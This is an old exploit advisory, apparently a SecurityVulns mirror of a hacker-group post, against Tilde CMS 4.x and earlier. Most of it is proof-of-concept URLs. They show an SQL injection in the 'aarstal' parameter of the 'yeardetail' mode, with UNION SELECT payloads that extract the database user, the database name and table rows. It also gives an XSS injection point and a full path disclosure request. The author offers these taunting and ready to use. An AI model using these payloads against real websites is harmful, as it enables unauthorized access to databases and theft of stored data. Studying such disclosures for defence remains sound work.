Tilde CMS <= v. 4.x "aarstal" parameter of "yeardetail" SQL Injection

2007-11-27T00:00:00
ID SECURITYVULNS:DOC:18511
Type securityvulns
Reporter Securityvulns
Modified 2007-11-27T00:00:00

Description


_ _ _
/
|
|\_ \ / | / |/ | | |/ \ | | _( </ \ _\ _ | \ _\ | | | \ | |/ \ \| | /_/ | || |
|
_|| /\_| /_ /\ >
| |||_|
\/\
____| \/ \/
---------------------------------------------------------------

Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org


Tilde CMS <= v. 4.x "aarstal" parameter of "yeardetail" SQL Injection


By KiNgOfThEwOrLd


PoC

D'u need an explanation?!? i don't think so :P

SQL Injection

http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=%27

Little examples

Using user() and database() functions u can get some informations about the database...as:

http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=999//union//select/*/1,2,user(),database(),5/

Or u can get some recordes by the database like:

http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=999//union//select//1,2,[row_name],4,[row_name]//from/*/[table_name]/

D'u want the tables n' the rows? Find it yourself ;P

something else..

Xss Vulnerability

http://[target]/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=[XSS]

Full Path Disclosure

http://[target]/[tilde_path]/index.php?search=%3C&mode=search&sider=on&tss=on&linier=on